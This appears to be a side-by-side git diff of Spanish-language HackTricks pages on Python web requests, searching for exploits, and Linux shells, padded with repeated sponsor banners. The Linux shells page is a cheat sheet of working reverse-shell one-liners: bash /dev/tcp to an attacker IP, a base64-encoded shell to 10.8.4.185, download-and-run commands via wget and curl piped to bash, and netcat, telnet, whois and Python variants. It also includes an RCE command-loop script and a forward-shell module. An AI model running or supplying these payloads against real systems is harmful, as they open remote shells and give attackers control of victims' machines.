* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
¡Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
```bash ```bash
@ -42,21 +43,22 @@ inside the virtual environment
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtenga acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Obtenga el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Solicitudes web # Web Requests
{% hint style="success" %}
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las herramientas comunitarias **más avanzadas** del mundo.\ Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Solicitudes en Python ## Python Requests
```python ```python
import requests import requests
@ -90,7 +91,7 @@ return resp.json()
def get_random_string(guid, path): def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10)) return ''.join(random.choice(string.ascii_letters) for i in range(10))
``` ```
## Comando de Python para explotar una RCE ## Python cmd para explotar un RCE
```python ```python
import requests import requests
import re import re
@ -120,21 +121,22 @@ term.cmdloop()
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtenga acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Buscar Exploits # Search Exploits
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias **más avanzadas del mundo**.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
### Navegador ### Browser
Siempre busca en "google" u otros: **\<nombre\_servicio> \[versión\] exploit** Siempre busca en "google" u otros: **\<service\_name> \[version] exploit**
También puedes probar la búsqueda de **exploits de shodan** en [https://exploits.shodan.io/](https://exploits.shodan.io). También deberías probar la **búsqueda de exploits de shodan** en [https://exploits.shodan.io/](https://exploits.shodan.io).
### Searchsploit ### Searchsploit
Útil para buscar exploits de servicios en **exploitdb desde la consola.** Útil para buscar exploits para servicios en **exploitdb desde la consola.**
```bash ```bash
#Searchsploit tricks #Searchsploit tricks
searchsploit "linux Kernel" #Example searchsploit "linux Kernel" #Example
@ -58,26 +59,27 @@ También puedes buscar en la base de datos de vulners: [https://vulners.com/](ht
### Sploitus ### Sploitus
Esta búsqueda de exploits en otras bases de datos: [https://sploitus.com/](https://sploitus.com) Esto busca exploits en otras bases de datos: [https://sploitus.com/](https://sploitus.com)
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Shells - Linux # Shells - Linux
{% hint style="success" %}
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,11 +23,11 @@ Otras formas de apoyar a HackTricks:
*** ***
**Si tienes preguntas sobre cualquiera de estas shells puedes verificarlas con** [**https://explainshell.com/**](https://explainshell.com) **Si tienes preguntas sobre alguna de estas shells, puedes consultarlas en** [**https://explainshell.com/**](https://explainshell.com)
## Full TTY ## Full TTY
**Una vez que obtengas una shell inversa**[ **lee esta página para obtener un TTY completo**](full-ttys.md)**.** **Una vez que obtengas una reverse shell**[ **lee esta página para obtener un full TTY**](full-ttys.md)**.**
## Bash | sh ## Bash | sh
```bash ```bash
@ -41,9 +42,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
#after getting the previous shell to get the output to execute #after getting the previous shell to get the output to execute
exec >&0 exec >&0
``` ```
### Shell seguro de símbolos
No olvides verificar con otros shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh y bash. No olvides verificar con otros shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh y bash.
### Shell seguro de símbolos
```bash ```bash
#If you need a more stable connection do: #If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1' bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -52,12 +53,12 @@ bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
``` ```
#### Explicación del Shell #### Explicación de la shell
1. **`bash -i`**: Esta parte del comando inicia un shell Bash interactivo (`-i`). 1. **`bash -i`**: Esta parte del comando inicia una shell Bash interactiva (`-i`).
2. **`>&`**: Esta parte del comando es una notación abreviada para **redirigir tanto la salida estándar** (`stdout`) como el **error estándar** (`stderr`) al **mismo destino**. 2. **`>&`**: Esta parte del comando es una notación abreviada para **redirigir tanto la salida estándar** (`stdout`) como **el error estándar** (`stderr`) al **mismo destino**.
3. **`/dev/tcp/<IP-DEL-ATAQUE>/<PUERTO>`**: Este es un archivo especial que **representa una conexión TCP a la dirección IP y puerto especificados**. 3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Este es un archivo especial que **representa una conexión TCP a la dirección IP y puerto especificados**.
* Al **redirigir las salidas de error y salida a este archivo**, el comando envía efectivamente la salida de la sesión de shell interactiva a la máquina del atacante. * Al **redirigir las salidas y errores a este archivo**, el comando envía efectivamente la salida de la sesión de shell interactiva a la máquina del atacante.
4. **`0>&1`**: Esta parte del comando **redirige la entrada estándar (`stdin`) al mismo destino que la salida estándar (`stdout`)**. 4. **`0>&1`**: Esta parte del comando **redirige la entrada estándar (`stdin`) al mismo destino que la salida estándar (`stdout`)**.
### Crear en archivo y ejecutar ### Crear en archivo y ejecutar
@ -65,13 +66,13 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
``` ```
## Shell Inverso ## Forward Shell
Cuando se trata de una vulnerabilidad de **Ejecución de Código Remoto (RCE)** en una aplicación web basada en Linux, lograr un shell inverso puede ser obstaculizado por defensas de red como reglas de iptables o mecanismos de filtrado de paquetes intrincados. En entornos tan restringidos, un enfoque alternativo implica establecer un shell PTY (Pseudo Terminal) para interactuar con el sistema comprometido de manera más efectiva. Al tratar con una **vulnerabilidad de Ejecución Remota de Código (RCE)** dentro de una aplicación web basada en Linux, lograr un reverse shell podría verse obstaculizado por defensas de red como reglas de iptables o mecanismos de filtrado de paquetes complejos. En tales entornos restringidos, un enfoque alternativo implica establecer un shell PTY (Pseudo Terminal) para interactuar con el sistema comprometido de manera más efectiva.
Una herramienta recomendada para este propósito es [toboggan](https://github.com/n3rada/toboggan.git), que simplifica la interacción con el entorno objetivo. Una herramienta recomendada para este propósito es [toboggan](https://github.com/n3rada/toboggan.git), que simplifica la interacción con el entorno objetivo.
Para utilizar toboggan de manera efectiva, crea un módulo de Python adaptado al contexto de RCE de tu sistema objetivo. Por ejemplo, un módulo llamado `nix.py` podría estar estructurado de la siguiente manera: Para utilizar toboggan de manera efectiva, crea un módulo de Python adaptado al contexto de RCE de tu sistema objetivo. Por ejemplo, un módulo llamado `nix.py` podría estructurarse de la siguiente manera:
```python3 ```python3
import jwt import jwt
import httpx import httpx
@ -99,17 +100,17 @@ Y luego, puedes ejecutar:
```shell ```shell
toboggan -m nix.py -i toboggan -m nix.py -i
``` ```
Para aprovechar directamente una shell interactiva, puedes agregar `-b` para integración con Burpsuite y eliminar `-i` para un envoltorio rce más básico. Para aprovechar directamente un shell interactivo. Puedes agregar `-b` para la integración de Burpsuite y eliminar el `-i` para un envoltorio rce más básico.
Otra posibilidad consiste en utilizar la implementación de shell avanzada de `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). Otra posibilidad consiste en usar la implementación de shell de reenvío de `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
Solo necesitas modificar: Solo necesitas modificar:
- La URL del host vulnerable * La URL del host vulnerable
- El prefijo y sufijo de tu carga útil (si es necesario) * El prefijo y sufijo de tu payload (si los hay)
- La forma en que se envía la carga útil (¿encabezados? ¿datos? ¿información adicional?) * La forma en que se envía el payload (¿encabezados? ¿datos? ¿información extra?)
Luego, simplemente puedes **enviar comandos** o incluso **usar el comando `upgrade`** para obtener un PTY completo (ten en cuenta que las tuberías se leen y escriben con un retraso aproximado de 1.3 segundos). Luego, solo puedes **enviar comandos** o incluso **usar el comando `upgrade`** para obtener un PTY completo (ten en cuenta que los pipes se leen y escriben con un retraso aproximado de 1.3s).
## Netcat ## Netcat
```bash ```bash
@ -121,13 +122,11 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
``` ```
## gsocket ## gsocket
Revísalo en [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) Consúltalo en [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
```bash ```bash
bash -c "$(curl -fsSL gsocket.io/x)" bash -c "$(curl -fsSL gsocket.io/x)"
``` ```
## Telnet ## Telnet
Telnet es un protocolo de red que permite la comunicación bidireccional a través de una terminal virtual. Es comúnmente utilizado para acceder y administrar dispositivos de red de forma remota.
```bash ```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -140,9 +139,9 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
```bash ```bash
while true; do nc -l <port>; done while true; do nc -l <port>; done
``` ```
Para enviar el comando, escríbalo, presione enter y luego presione CTRL+D (para detener STDIN) Para enviar el comando, escríbelo, presiona enter y presiona CTRL+D (para detener STDIN)
**Victim** **Víctima**
```bash ```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
``` ```
@ -155,15 +154,11 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
``` ```
## Perl ## Perl
Perl es un lenguaje de programación versátil y potente que se puede utilizar para escribir scripts de shell en sistemas Linux. Es especialmente útil para tareas de administración del sistema y manipulación de archivos.
```bash ```bash
